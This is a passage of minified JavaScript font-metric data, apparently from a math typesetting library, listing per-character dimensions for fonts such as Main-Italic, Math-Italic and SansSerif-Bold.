961],73:[0,.68611,.15681,0,.47166],74:[0,.68611,.145,0,.61055],75:[0,.68611,.14208,0,.89499],76:[0,.68611,0,0,.69777],77:[0,.68611,.17208,0,1.07277],78:[0,.68611,.17208,0,.8961],79:[0,.68611,.09062,0,.85499],80:[0,.68611,.0992,0,.78721],81:[.19444,.68611,.09062,0,.85499],82:[0,.68611,.02559,0,.85944],83:[0,.68611,.11264,0,.64999],84:[0,.68611,.12903,0,.7961],85:[0,.68611,.17208,0,.88083],86:[0,.68611,.18625,0,.86555],87:[0,.68611,.18625,0,1.15999],88:[0,.68611,.15681,0,.86555],89:[0,.68611,.19803,0,.86555],90:[0,.68611,.14208,0,.70888],91:[.25,.75,.1875,0,.35611],93:[.25,.75,.09972,0,.35611],94:[0,.69444,.06709,0,.59111],95:[.31,.13444,.09811,0,.59111],97:[0,.44444,.09426,0,.59111],98:[0,.69444,.07861,0,.53222],99:[0,.44444,.05222,0,.53222],100:[0,.69444,.10861,0,.59111],101:[0,.44444,.085,0,.53222],102:[.19444,.69444,.21778,0,.4],103:[.19444,.44444,.105,0,.53222],104:[0,.69444,.09426,0,.59111],105:[0,.69326,.11387,0,.35555],106:[.19444,.69326,.1672,0,.35555],107:[0,.69444,.11111,0,.53222],108:[0,.69444,.10861,0,.29666],109:[0,.44444,.09426,0,.94444],110:[0,.44444,.09426,0,.64999],111:[0,.44444,.07861,0,.59111],112:[.19444,.44444,.07861,0,.59111],113:[.19444,.44444,.105,0,.53222],114:[0,.44444,.11111,0,.50167],115:[0,.44444,.08167,0,.48694],116:[0,.63492,.09639,0,.385],117:[0,.44444,.09426,0,.62055],118:[0,.44444,.11111,0,.53222],119:[0,.44444,.11111,0,.76777],120:[0,.44444,.12583,0,.56055],121:[.19444,.44444,.105,0,.56166],122:[0,.44444,.13889,0,.49055],126:[.35,.34444,.11472,0,.59111],160:[0,0,0,0,.25],168:[0,.69444,.11473,0,.59111],176:[0,.69444,0,0,.94888],184:[.17014,0,0,0,.53222],198:[0,.68611,.11431,0,1.02277],216:[.04861,.73472,.09062,0,.88555],223:[.19444,.69444,.09736,0,.665],230:[0,.44444,.085,0,.82666],248:[.09722,.54167,.09458,0,.59111],305:[0,.44444,.09426,0,.35555],338:[0,.68611,.11431,0,1.14054],339:[0,.44444,.085,0,.82666],567:[.19444,.44444,.04611,0,.385],710:[0,.69444,.06709,0,.59111],711:[0,.63194,.08271,0,.59111],713:[0,.59444,.10444,0,.59111],714:[0,.69444,.08528,0,.59111],715:[0,.69444,0,0,.59111],728:[0,.69444,.10333,0,.59111],729:[0,.69444,.12945,0,.35555],730:[0,.69444,0,0,.94888],732:[0,.69444,.11472,0,.59111],733:[0,.69444,.11472,0,.59111],915:[0,.68611,.12903,0,.69777],916:[0,.68611,0,0,.94444],920:[0,.68611,.09062,0,.88555],923:[0,.68611,0,0,.80666],926:[0,.68611,.15092,0,.76777],928:[0,.68611,.17208,0,.8961],931:[0,.68611,.11431,0,.82666],933:[0,.68611,.10778,0,.88555],934:[0,.68611,.05632,0,.82666],936:[0,.68611,.10778,0,.88555],937:[0,.68611,.0992,0,.82666],8211:[0,.44444,.09811,0,.59111],8212:[0,.44444,.09811,0,1.18221],8216:[0,.69444,.12945,0,.35555],8217:[0,.69444,.12945,0,.35555],8220:[0,.69444,.16772,0,.62055],8221:[0,.69444,.07939,0,.62055]},"Main-Italic":{32:[0,0,0,0,.25],33:[0,.69444,.12417,0,.30667],34:[0,.69444,.06961,0,.51444],35:[.19444,.69444,.06616,0,.81777],37:[.05556,.75,.13639,0,.81777],38:[0,.69444,.09694,0,.76666],39:[0,.69444,.12417,0,.30667],40:[.25,.75,.16194,0,.40889],41:[.25,.75,.03694,0,.40889],42:[0,.75,.14917,0,.51111],43:[.05667,.56167,.03694,0,.76666],44:[.19444,.10556,0,0,.30667],45:[0,.43056,.02826,0,.35778],46:[0,.10556,0,0,.30667],47:[.25,.75,.16194,0,.51111],48:[0,.64444,.13556,0,.51111],49:[0,.64444,.13556,0,.51111],50:[0,.64444,.13556,0,.51111],51:[0,.64444,.13556,0,.51111],52:[.19444,.64444,.13556,0,.51111],53:[0,.64444,.13556,0,.51111],54:[0,.64444,.13556,0,.51111],55:[.19444,.64444,.13556,0,.51111],56:[0,.64444,.13556,0,.51111],57:[0,.64444,.13556,0,.51111],58:[0,.43056,.0582,0,.30667],59:[.19444,.43056,.0582,0,.30667],61:[-.13313,.36687,.06616,0,.76666],63:[0,.69444,.1225,0,.51111],64:[0,.69444,.09597,0,.76666],65:[0,.68333,0,0,.74333],66:[0,.68333,.10257,0,.70389],67:[0,.68333,.14528,0,.71555],68:[0,.68333,.09403,0,.755],69:[0,.68333,.12028,0,.67833],70:[0,.68333,.13305,0,.65277],71:[0,.68333,.08722,0,.77361],72:[0,.68333,.16389,0,.74333],73:[0,.68333,.15806,0,.38555],74:[0,.68333,.14028,0,.525],75:[0,.68333,.14528,0,.76888],76:[0,.68333,0,0,.62722],77:[0,.68333,.16389,0,.89666],78:[0,.68333,.16389,0,.74333],79:[0,.68333,.09403,0,.76666],80:[0,.68333,.10257,0,.67833],81:[.19444,.68333,.09403,0,.76666],82:[0,.68333,.03868,0,.72944],83:[0,.68333,.11972,0,.56222],84:[0,.68333,.13305,0,.71555],85:[0,.68333,.16389,0,.74333],86:[0,.68333,.18361,0,.74333],87:[0,.68333,.18361,0,.99888],88:[0,.68333,.15806,0,.74333],89:[0,.68333,.19383,0,.74333],90:[0,.68333,.14528,0,.61333],91:[.25,.75,.1875,0,.30667],93:[.25,.75,.10528,0,.30667],94:[0,.69444,.06646,0,.51111],95:[.31,.12056,.09208,0,.51111],97:[0,.43056,.07671,0,.51111],98:[0,.69444,.06312,0,.46],99:[0,.43056,.05653,0,.46],100:[0,.69444,.10333,0,.51111],101:[0,.43056,.07514,0,.46],102:[.19444,.69444,.21194,0,.30667],103:[.19444,.43056,.08847,0,.46],104:[0,.69444,.07671,0,.51111],105:[0,.65536,.1019,0,.30667],106:[.19444,.65536,.14467,0,.30667],107:[0,.69444,.10764,0,.46],108:[0,.69444,.10333,0,.25555],109:[0,.43056,.07671,0,.81777],110:[0,.43056,.07671,0,.56222],111:[0,.43056,.06312,0,.51111],112:[.19444,.43056,.06312,0,.51111],113:[.19444,.43056,.08847,0,.46],114:[0,.43056,.10764,0,.42166],115:[0,.43056,.08208,0,.40889],116:[0,.61508,.09486,0,.33222],117:[0,.43056,.07671,0,.53666],118:[0,.43056,.10764,0,.46],119:[0,.43056,.10764,0,.66444],120:[0,.43056,.12042,0,.46389],121:[.19444,.43056,.08847,0,.48555],122:[0,.43056,.12292,0,.40889],126:[.35,.31786,.11585,0,.51111],160:[0,0,0,0,.25],168:[0,.66786,.10474,0,.51111],176:[0,.69444,0,0,.83129],184:[.17014,0,0,0,.46],198:[0,.68333,.12028,0,.88277],216:[.04861,.73194,.09403,0,.76666],223:[.19444,.69444,.10514,0,.53666],230:[0,.43056,.07514,0,.71555],248:[.09722,.52778,.09194,0,.51111],338:[0,.68333,.12028,0,.98499],339:[0,.43056,.07514,0,.71555],710:[0,.69444,.06646,0,.51111],711:[0,.62847,.08295,0,.51111],713:[0,.56167,.10333,0,.51111],714:[0,.69444,.09694,0,.51111],715:[0,.69444,0,0,.51111],728:[0,.69444,.10806,0,.51111],729:[0,.66786,.11752,0,.30667],730:[0,.69444,0,0,.83129],732:[0,.66786,.11585,0,.51111],733:[0,.69444,.1225,0,.51111],915:[0,.68333,.13305,0,.62722],916:[0,.68333,0,0,.81777],920:[0,.68333,.09403,0,.76666],923:[0,.68333,0,0,.69222],926:[0,.68333,.15294,0,.66444],928:[0,.68333,.16389,0,.74333],931:[0,.68333,.12028,0,.71555],933:[0,.68333,.11111,0,.76666],934:[0,.68333,.05986,0,.71555],936:[0,.68333,.11111,0,.76666],937:[0,.68333,.10257,0,.71555],8211:[0,.43056,.09208,0,.51111],8212:[0,.43056,.09208,0,1.02222],8216:[0,.69444,.12417,0,.30667],8217:[0,.69444,.12417,0,.30667],8220:[0,.69444,.1685,0,.51444],8221:[0,.69444,.06961,0,.51444],8463:[0,.68889,0,0,.54028]},"Main-Regular":{32:[0,0,0,0,.25],33:[0,.69444,0,0,.27778],34:[0,.69444,0,0,.5],35:[.19444,.69444,0,0,.83334],36:[.05556,.75,0,0,.5],37:[.05556,.75,0,0,.83334],38:[0,.69444,0,0,.77778],39:[0,.69444,0,0,.27778],40:[.25,.75,0,0,.38889],41:[.25,.75,0,0,.38889],42:[0,.75,0,0,.5],43:[.08333,.58333,0,0,.77778],44:[.19444,.10556,0,0,.27778],45:[0,.43056,0,0,.33333],46:[0,.10556,0,0,.27778],47:[.25,.75,0,0,.5],48:[0,.64444,0,0,.5],49:[0,.64444,0,0,.5],50:[0,.64444,0,0,.5],51:[0,.64444,0,0,.5],52:[0,.64444,0,0,.5],53:[0,.64444,0,0,.5],54:[0,.64444,0,0,.5],55:[0,.64444,0,0,.5],56:[0,.64444,0,0,.5],57:[0,.64444,0,0,.5],58:[0,.43056,0,0,.27778],59:[.19444,.43056,0,0,.27778],60:[.0391,.5391,0,0,.77778],61:[-.13313,.36687,0,0,.77778],62:[.0391,.5391,0,0,.77778],63:[0,.69444,0,0,.47222],64:[0,.69444,0,0,.77778],65:[0,.68333,0,0,.75],66:[0,.68333,0,0,.70834],67:[0,.68333,0,0,.72222],68:[0,.68333,0,0,.76389],69:[0,.68333,0,0,.68056],70:[0,.68333,0,0,.65278],71:[0,.68333,0,0,.78472],72:[0,.68333,0,0,.75],73:[0,.68333,0,0,.36111],74:[0,.68333,0,0,.51389],75:[0,.68333,0,0,.77778],76:[0,.68333,0,0,.625],77:[0,.68333,0,0,.91667],78:[0,.68333,0,0,.75],79:[0,.68333,0,0,.77778],80:[0,.68333,0,0,.68056],81:[.19444,.68333,0,0,.77778],82:[0,.68333,0,0,.73611],83:[0,.68333,0,0,.55556],84:[0,.68333,0,0,.72222],85:[0,.68333,0,0,.75],86:[0,.68333,.01389,0,.75],87:[0,.68333,.01389,0,1.02778],88:[0,.68333,0,0,.75],89:[0,.68333,.025,0,.75],90:[0,.68333,0,0,.61111],91:[.25,.75,0,0,.27778],92:[.25,.75,0,0,.5],93:[.25,.75,0,0,.27778],94:[0,.69444,0,0,.5],95:[.31,.12056,.02778,0,.5],97:[0,.43056,0,0,.5],98:[0,.69444,0,0,.55556],99:[0,.43056,0,0,.44445],100:[0,.69444,0,0,.55556],101:[0,.43056,0,0,.44445],102:[0,.69444,.07778,0,.30556],103:[.19444,.43056,.01389,0,.5],104:[0,.69444,0,0,.55556],105:[0,.66786,0,0,.27778],106:[.19444,.66786,0,0,.30556],107:[0,.69444,0,0,.52778],108:[0,.69444,0,0,.27778],109:[0,.43056,0,0,.83334],110:[0,.43056,0,0,.55556],111:[0,.43056,0,0,.5],112:[.19444,.43056,0,0,.55556],113:[.19444,.43056,0,0,.52778],114:[0,.43056,0,0,.39167],115:[0,.43056,0,0,.39445],116:[0,.61508,0,0,.38889],117:[0,.43056,0,0,.55556],118:[0,.43056,.01389,0,.52778],119:[0,.43056,.01389,0,.72222],120:[0,.43056,0,0,.52778],121:[.19444,.43056,.01389,0,.52778],122:[0,.43056,0,0,.44445],123:[.25,.75,0,0,.5],124:[.25,.75,0,0,.27778],125:[.25,.75,0,0,.5],126:[.35,.31786,0,0,.5],160:[0,0,0,0,.25],163:[0,.69444,0,0,.76909],167:[.19444,.69444,0,0,.44445],168:[0,.66786,0,0,.5],172:[0,.43056,0,0,.66667],176:[0,.69444,0,0,.75],177:[.08333,.58333,0,0,.77778],182:[.19444,.69444,0,0,.61111],184:[.17014,0,0,0,.44445],198:[0,.68333,0,0,.90278],215:[.08333,.58333,0,0,.77778],216:[.04861,.73194,0,0,.77778],223:[0,.69444,0,0,.5],230:[0,.43056,0,0,.72222],247:[.08333,.58333,0,0,.77778],248:[.09722,.52778,0,0,.5],305:[0,.43056,0,0,.27778],338:[0,.68333,0,0,1.01389],339:[0,.43056,0,0,.77778],567:[.19444,.43056,0,0,.30556],710:[0,.69444,0,0,.5],711:[0,.62847,0,0,.5],713:[0,.56778,0,0,.5],714:[0,.69444,0,0,.5],715:[0,.69444,0,0,.5],728:[0,.69444,0,0,.5],729:[0,.66786,0,0,.27778],730:[0,.69444,0,0,.75],732:[0,.66786,0,0,.5],733:[0,.69444,0,0,.5],915:[0,.68333,0,0,.625],916:[0,.68333,0,0,.83334],920:[0,.68333,0,0,.77778],923:[0,.68333,0,0,.69445],926:[0,.68333,0,0,.66667],928:[0,.68333,0,0,.75],931:[0,.68333,0,0,.72222],933:[0,.68333,0,0,.77778],934:[0,.68333,0,0,.72222],936:[0,.68333,0,0,.77778],937:[0,.68333,0,0,.72222],8211:[0,.43056,.02778,0,.5],8212:[0,.43056,.02778,0,1],8216:[0,.69444,0,0,.27778],8217:[0,.69444,0,0,.27778],8220:[0,.69444,0,0,.5],8221:[0,.69444,0,0,.5],8224:[.19444,.69444,0,0,.44445],8225:[.19444,.69444,0,0,.44445],8230:[0,.123,0,0,1.172],8242:[0,.55556,0,0,.275],8407:[0,.71444,.15382,0,.5],8463:[0,.68889,0,0,.54028],8465:[0,.69444,0,0,.72222],8467:[0,.69444,0,.11111,.41667],8472:[.19444,.43056,0,.11111,.63646],8476:[0,.69444,0,0,.72222],8501:[0,.69444,0,0,.61111],8592:[-.13313,.36687,0,0,1],8593:[.19444,.69444,0,0,.5],8594:[-.13313,.36687,0,0,1],8595:[.19444,.69444,0,0,.5],8596:[-.13313,.36687,0,0,1],8597:[.25,.75,0,0,.5],8598:[.19444,.69444,0,0,1],8599:[.19444,.69444,0,0,1],8600:[.19444,.69444,0,0,1],8601:[.19444,.69444,0,0,1],8614:[.011,.511,0,0,1],8617:[.011,.511,0,0,1.126],8618:[.011,.511,0,0,1.126],8636:[-.13313,.36687,0,0,1],8637:[-.13313,.36687,0,0,1],8640:[-.13313,.36687,0,0,1],8641:[-.13313,.36687,0,0,1],8652:[.011,.671,0,0,1],8656:[-.13313,.36687,0,0,1],8657:[.19444,.69444,0,0,.61111],8658:[-.13313,.36687,0,0,1],8659:[.19444,.69444,0,0,.61111],8660:[-.13313,.36687,0,0,1],8661:[.25,.75,0,0,.61111],8704:[0,.69444,0,0,.55556],8706:[0,.69444,.05556,.08334,.5309],8707:[0,.69444,0,0,.55556],8709:[.05556,.75,0,0,.5],8711:[0,.68333,0,0,.83334],8712:[.0391,.5391,0,0,.66667],8715:[.0391,.5391,0,0,.66667],8722:[.08333,.58333,0,0,.77778],8723:[.08333,.58333,0,0,.77778],8725:[.25,.75,0,0,.5],8726:[.25,.75,0,0,.5],8727:[-.03472,.46528,0,0,.5],8728:[-.05555,.44445,0,0,.5],8729:[-.05555,.44445,0,0,.5],8730:[.2,.8,0,0,.83334],8733:[0,.43056,0,0,.77778],8734:[0,.43056,0,0,1],8736:[0,.69224,0,0,.72222],8739:[.25,.75,0,0,.27778],8741:[.25,.75,0,0,.5],8743:[0,.55556,0,0,.66667],8744:[0,.55556,0,0,.66667],8745:[0,.55556,0,0,.66667],8746:[0,.55556,0,0,.66667],8747:[.19444,.69444,.11111,0,.41667],8764:[-.13313,.36687,0,0,.77778],8768:[.19444,.69444,0,0,.27778],8771:[-.03625,.46375,0,0,.77778],8773:[-.022,.589,0,0,.778],8776:[-.01688,.48312,0,0,.77778],8781:[-.03625,.46375,0,0,.77778],8784:[-.133,.673,0,0,.778],8801:[-.03625,.46375,0,0,.77778],8804:[.13597,.63597,0,0,.77778],8805:[.13597,.63597,0,0,.77778],8810:[.0391,.5391,0,0,1],8811:[.0391,.5391,0,0,1],8826:[.0391,.5391,0,0,.77778],8827:[.0391,.5391,0,0,.77778],8834:[.0391,.5391,0,0,.77778],8835:[.0391,.5391,0,0,.77778],8838:[.13597,.63597,0,0,.77778],8839:[.13597,.63597,0,0,.77778],8846:[0,.55556,0,0,.66667],8849:[.13597,.63597,0,0,.77778],8850:[.13597,.63597,0,0,.77778],8851:[0,.55556,0,0,.66667],8852:[0,.55556,0,0,.66667],8853:[.08333,.58333,0,0,.77778],8854:[.08333,.58333,0,0,.77778],8855:[.08333,.58333,0,0,.77778],8856:[.08333,.58333,0,0,.77778],8857:[.08333,.58333,0,0,.77778],8866:[0,.69444,0,0,.61111],8867:[0,.69444,0,0,.61111],8868:[0,.69444,0,0,.77778],8869:[0,.69444,0,0,.77778],8872:[.249,.75,0,0,.867],8900:[-.05555,.44445,0,0,.5],8901:[-.05555,.44445,0,0,.27778],8902:[-.03472,.46528,0,0,.5],8904:[.005,.505,0,0,.9],8942:[.03,.903,0,0,.278],8943:[-.19,.313,0,0,1.172],8945:[-.1,.823,0,0,1.282],8968:[.25,.75,0,0,.44445],8969:[.25,.75,0,0,.44445],8970:[.25,.75,0,0,.44445],8971:[.25,.75,0,0,.44445],8994:[-.14236,.35764,0,0,1],8995:[-.14236,.35764,0,0,1],9136:[.244,.744,0,0,.412],9137:[.244,.745,0,0,.412],9651:[.19444,.69444,0,0,.88889],9657:[-.03472,.46528,0,0,.5],9661:[.19444,.69444,0,0,.88889],9667:[-.03472,.46528,0,0,.5],9711:[.19444,.69444,0,0,1],9824:[.12963,.69444,0,0,.77778],9825:[.12963,.69444,0,0,.77778],9826:[.12963,.69444,0,0,.77778],9827:[.12963,.69444,0,0,.77778],9837:[0,.75,0,0,.38889],9838:[.19444,.69444,0,0,.38889],9839:[.19444,.69444,0,0,.38889],10216:[.25,.75,0,0,.38889],10217:[.25,.75,0,0,.38889],10222:[.244,.744,0,0,.412],10223:[.244,.745,0,0,.412],10229:[.011,.511,0,0,1.609],10230:[.011,.511,0,0,1.638],10231:[.011,.511,0,0,1.859],10232:[.024,.525,0,0,1.609],10233:[.024,.525,0,0,1.638],10234:[.024,.525,0,0,1.858],10236:[.011,.511,0,0,1.638],10815:[0,.68333,0,0,.75],10927:[.13597,.63597,0,0,.77778],10928:[.13597,.63597,0,0,.77778],57376:[.19444,.69444,0,0,0]},"Math-BoldItalic":{32:[0,0,0,0,.25],48:[0,.44444,0,0,.575],49:[0,.44444,0,0,.575],50:[0,.44444,0,0,.575],51:[.19444,.44444,0,0,.575],52:[.19444,.44444,0,0,.575],53:[.19444,.44444,0,0,.575],54:[0,.64444,0,0,.575],55:[.19444,.44444,0,0,.575],56:[0,.64444,0,0,.575],57:[.19444,.44444,0,0,.575],65:[0,.68611,0,0,.86944],66:[0,.68611,.04835,0,.8664],67:[0,.68611,.06979,0,.81694],68:[0,.68611,.03194,0,.93812],69:[0,.68611,.05451,0,.81007],70:[0,.68611,.15972,0,.68889],71:[0,.68611,0,0,.88673],72:[0,.68611,.08229,0,.98229],73:[0,.68611,.07778,0,.51111],74:[0,.68611,.10069,0,.63125],75:[0,.68611,.06979,0,.97118],76:[0,.68611,0,0,.75555],77:[0,.68611,.11424,0,1.14201],78:[0,.68611,.11424,0,.95034],79:[0,.68611,.03194,0,.83666],80:[0,.68611,.15972,0,.72309],81:[.19444,.68611,0,0,.86861],82:[0,.68611,.00421,0,.87235],83:[0,.68611,.05382,0,.69271],84:[0,.68611,.15972,0,.63663],85:[0,.68611,.11424,0,.80027],86:[0,.68611,.25555,0,.67778],87:[0,.68611,.15972,0,1.09305],88:[0,.68611,.07778,0,.94722],89:[0,.68611,.25555,0,.67458],90:[0,.68611,.06979,0,.77257],97:[0,.44444,0,0,.63287],98:[0,.69444,0,0,.52083],99:[0,.44444,0,0,.51342],100:[0,.69444,0,0,.60972],101:[0,.44444,0,0,.55361],102:[.19444,.69444,.11042,0,.56806],103:[.19444,.44444,.03704,0,.5449],104:[0,.69444,0,0,.66759],105:[0,.69326,0,0,.4048],106:[.19444,.69326,.0622,0,.47083],107:[0,.69444,.01852,0,.6037],108:[0,.69444,.0088,0,.34815],109:[0,.44444,0,0,1.0324],110:[0,.44444,0,0,.71296],111:[0,.44444,0,0,.58472],112:[.19444,.44444,0,0,.60092],113:[.19444,.44444,.03704,0,.54213],114:[0,.44444,.03194,0,.5287],115:[0,.44444,0,0,.53125],116:[0,.63492,0,0,.41528],117:[0,.44444,0,0,.68102],118:[0,.44444,.03704,0,.56666],119:[0,.44444,.02778,0,.83148],120:[0,.44444,0,0,.65903],121:[.19444,.44444,.03704,0,.59028],122:[0,.44444,.04213,0,.55509],160:[0,0,0,0,.25],915:[0,.68611,.15972,0,.65694],916:[0,.68611,0,0,.95833],920:[0,.68611,.03194,0,.86722],923:[0,.68611,0,0,.80555],926:[0,.68611,.07458,0,.84125],928:[0,.68611,.08229,0,.98229],931:[0,.68611,.05451,0,.88507],933:[0,.68611,.15972,0,.67083],934:[0,.68611,0,0,.76666],936:[0,.68611,.11653,0,.71402],937:[0,.68611,.04835,0,.8789],945:[0,.44444,0,0,.76064],946:[.19444,.69444,.03403,0,.65972],947:[.19444,.44444,.06389,0,.59003],948:[0,.69444,.03819,0,.52222],949:[0,.44444,0,0,.52882],950:[.19444,.69444,.06215,0,.50833],951:[.19444,.44444,.03704,0,.6],952:[0,.69444,.03194,0,.5618],953:[0,.44444,0,0,.41204],954:[0,.44444,0,0,.66759],955:[0,.69444,0,0,.67083],956:[.19444,.44444,0,0,.70787],957:[0,.44444,.06898,0,.57685],958:[.19444,.69444,.03021,0,.50833],959:[0,.44444,0,0,.58472],960:[0,.44444,.03704,0,.68241],961:[.19444,.44444,0,0,.6118],962:[.09722,.44444,.07917,0,.42361],963:[0,.44444,.03704,0,.68588],964:[0,.44444,.13472,0,.52083],965:[0,.44444,.03704,0,.63055],966:[.19444,.44444,0,0,.74722],967:[.19444,.44444,0,0,.71805],968:[.19444,.69444,.03704,0,.75833],969:[0,.44444,.03704,0,.71782],977:[0,.69444,0,0,.69155],981:[.19444,.69444,0,0,.7125],982:[0,.44444,.03194,0,.975],1009:[.19444,.44444,0,0,.6118],1013:[0,.44444,0,0,.48333],57649:[0,.44444,0,0,.39352],57911:[.19444,.44444,0,0,.43889]},"Math-Italic":{32:[0,0,0,0,.25],48:[0,.43056,0,0,.5],49:[0,.43056,0,0,.5],50:[0,.43056,0,0,.5],51:[.19444,.43056,0,0,.5],52:[.19444,.43056,0,0,.5],53:[.19444,.43056,0,0,.5],54:[0,.64444,0,0,.5],55:[.19444,.43056,0,0,.5],56:[0,.64444,0,0,.5],57:[.19444,.43056,0,0,.5],65:[0,.68333,0,.13889,.75],66:[0,.68333,.05017,.08334,.75851],67:[0,.68333,.07153,.08334,.71472],68:[0,.68333,.02778,.05556,.82792],69:[0,.68333,.05764,.08334,.7382],70:[0,.68333,.13889,.08334,.64306],71:[0,.68333,0,.08334,.78625],72:[0,.68333,.08125,.05556,.83125],73:[0,.68333,.07847,.11111,.43958],74:[0,.68333,.09618,.16667,.55451],75:[0,.68333,.07153,.05556,.84931],76:[0,.68333,0,.02778,.68056],77:[0,.68333,.10903,.08334,.97014],78:[0,.68333,.10903,.08334,.80347],79:[0,.68333,.02778,.08334,.76278],80:[0,.68333,.13889,.08334,.64201],81:[.19444,.68333,0,.08334,.79056],82:[0,.68333,.00773,.08334,.75929],83:[0,.68333,.05764,.08334,.6132],84:[0,.68333,.13889,.08334,.58438],85:[0,.68333,.10903,.02778,.68278],86:[0,.68333,.22222,0,.58333],87:[0,.68333,.13889,0,.94445],88:[0,.68333,.07847,.08334,.82847],89:[0,.68333,.22222,0,.58056],90:[0,.68333,.07153,.08334,.68264],97:[0,.43056,0,0,.52859],98:[0,.69444,0,0,.42917],99:[0,.43056,0,.05556,.43276],100:[0,.69444,0,.16667,.52049],101:[0,.43056,0,.05556,.46563],102:[.19444,.69444,.10764,.16667,.48959],103:[.19444,.43056,.03588,.02778,.47697],104:[0,.69444,0,0,.57616],105:[0,.65952,0,0,.34451],106:[.19444,.65952,.05724,0,.41181],107:[0,.69444,.03148,0,.5206],108:[0,.69444,.01968,.08334,.29838],109:[0,.43056,0,0,.87801],110:[0,.43056,0,0,.60023],111:[0,.43056,0,.05556,.48472],112:[.19444,.43056,0,.08334,.50313],113:[.19444,.43056,.03588,.08334,.44641],114:[0,.43056,.02778,.05556,.45116],115:[0,.43056,0,.05556,.46875],116:[0,.61508,0,.08334,.36111],117:[0,.43056,0,.02778,.57246],118:[0,.43056,.03588,.02778,.48472],119:[0,.43056,.02691,.08334,.71592],120:[0,.43056,0,.02778,.57153],121:[.19444,.43056,.03588,.05556,.49028],122:[0,.43056,.04398,.05556,.46505],160:[0,0,0,0,.25],915:[0,.68333,.13889,.08334,.61528],916:[0,.68333,0,.16667,.83334],920:[0,.68333,.02778,.08334,.76278],923:[0,.68333,0,.16667,.69445],926:[0,.68333,.07569,.08334,.74236],928:[0,.68333,.08125,.05556,.83125],931:[0,.68333,.05764,.08334,.77986],933:[0,.68333,.13889,.05556,.58333],934:[0,.68333,0,.08334,.66667],936:[0,.68333,.11,.05556,.61222],937:[0,.68333,.05017,.08334,.7724],945:[0,.43056,.0037,.02778,.6397],946:[.19444,.69444,.05278,.08334,.56563],947:[.19444,.43056,.05556,0,.51773],948:[0,.69444,.03785,.05556,.44444],949:[0,.43056,0,.08334,.46632],950:[.19444,.69444,.07378,.08334,.4375],951:[.19444,.43056,.03588,.05556,.49653],952:[0,.69444,.02778,.08334,.46944],953:[0,.43056,0,.05556,.35394],954:[0,.43056,0,0,.57616],955:[0,.69444,0,0,.58334],956:[.19444,.43056,0,.02778,.60255],957:[0,.43056,.06366,.02778,.49398],958:[.19444,.69444,.04601,.11111,.4375],959:[0,.43056,0,.05556,.48472],960:[0,.43056,.03588,0,.57003],961:[.19444,.43056,0,.08334,.51702],962:[.09722,.43056,.07986,.08334,.36285],963:[0,.43056,.03588,0,.57141],964:[0,.43056,.1132,.02778,.43715],965:[0,.43056,.03588,.02778,.54028],966:[.19444,.43056,0,.08334,.65417],967:[.19444,.43056,0,.05556,.62569],968:[.19444,.69444,.03588,.11111,.65139],969:[0,.43056,.03588,0,.62245],977:[0,.69444,0,.08334,.59144],981:[.19444,.69444,0,.08334,.59583],982:[0,.43056,.02778,0,.82813],1009:[.19444,.43056,0,.08334,.51702],1013:[0,.43056,0,.05556,.4059],57649:[0,.43056,0,.02778,.32246],57911:[.19444,.43056,0,.08334,.38403]},"SansSerif-Bold":{32:[0,0,0,0,.25],33:[0,.69444,0,0,.36667],34:[0,.69444,0,0,.55834],35:[.19444,.69444,0,0,.91667],36:[.05556,.75,0,0,.55],37:[.05556,.75,0,0,1.02912],38:[0,.69444,0,0,.83056],39:[0,.69444,0,0,.30556],40:[.25,.75,0,0,.42778],41:[.25,.75,0,0,.42778],42:[0,.75,0,0,.55],43:[.11667,.61667,0,0,.85556],44:[.10556,.13056,0,0,.30556],45:[0,.45833,0,0,.36667],46:[0,.13056,0,0,.30556],47:[.25,.75,0,0,.55],48:[0,.69444,0,0,.55],49:[0,.69444,0,0,.55],50:[0,.69444,0,0,.55],51:[0,.69444,0,0,.55],52:[0,.69444,0,0,.55],53:[0,.69444,0,0,.55],54:[0,.69444,0,0,.55],55:[0,.69444,0,0,.55],56:[0,.69444,0,0,.55],57:[0,.69444,0,0,.55],58:[0,.45833,0,0,.30556],59:[.10556,.45833,0,0,.30556],61:[-.09375,.40625,0,0,.85556],63:[0,.69444,0,0,.51945],64:[0,.69444,0,0,.73334],65:[0,.69444,0,0,.73334],66:[0,.69444,0,0,.73334],67:[0,.69444,0,0,.70278],68:[0,.69444,0,0,.79445],69:[0,.69444,0,0,.64167],70:[0,.69444,0,0,.61111],71:[0,.69444,0,0,.73334],72:[0,.69444,0,0,.79445],73:[0,.69444,0,0,.33056],74:[0,.69444,0,0,.51945],75:[0,.69444,0,0,.76389],76:[0,.69444,0,0,.58056],77:[0,.69444,0,0,.97778],78:[0,.69444,0,0,.79445],79:[0,.69444,0,0,.79445],80:[0,.69444,0,0,.70278],81:[.10556,.69444,0,0,.79445],82:[0,.69444,0,0,.70278],83:[0,.69444,0,0,.61111],84:[0,.69444,0,0,.73334],85:[0,.69444,0,0,.76389],86:[0,.69444,.01528,0,.73334],87:[0,.69444,.01528,0,1.03889],88:[0,.69444,0,0,.73334],89:[0,.69444,.0275,0,.73334],90:[0,.69444,0,0,.67223],91:[.25,.75,0,0,.34306],93:[.25,.75,0,0,.34306],94:[0,.69444,0,0,.55],95:[.35,.10833,.03056,0,.55],97:[0,.45833,0,0,.525],98:[0,.69444,0,0,.56111],99:[0,.45833,0,0,.48889],100:[0,.69444,0,0,.56111],101:[0,.45833,0,0,.51111],102:[0,.69444,.07639,0,.33611],103:[.19444,.45833,.01528,0,.55],104:[0,.69444,0,0,.56111],105:[0,.69444,0,0,.25556],106:[.19444,.69444,0,0,.28611],107:[0,.69444,0,0,.53056],108:[0,.69444,0,0,.25556],109:[0,.45833,0,0,.86667],110:[0,.45833,0,0,.56111],111:[0,.45833,0,0,.55],112:[.19444,.45833,0,0,.56111],113:[.19444,.45833,0,0,.56111],114:[0,.45833,.01528,0,.37222],115:[0,.45833,0,0,.42167],116:[0,.58929,0,0,.40417],117:[0,.45833,0,0,.56111],118:[0,.45833,.01528,0,.5],119:[0,.45833,.01528,0,.74445],120:[0,.45833,0,0,.5],121:[.19444,.45833,.01528,0,.5],122:[0,.45833,0,0,.47639],126:[.35,.34444,0,0,.55],160:[0,0,0,0,.25],168:[0,.69444,0,0,.55],176:[0,.69444,0,0,.73334],180:[0,.69444,0,0,.55],184:[.17014,0,0,0,.48889],305:[0,.45833,0,0,.25556],567:[.19444,.45833,0,0,.28611],710:[0,.69444,0,0,.55],711:[0,.63542,0,0,.55],713:[0,.63778,0,0,.55],728:[0,.69444,0,0,.55],729:[0,.69444,0,0,.30556],730:[0,.69444,0,0,.73334],732:[0,.69444,0,0,.55],733:[0,.69444,0,0,.55],915:[0,.69444,0,0,.58056],916:[0,.69444,0,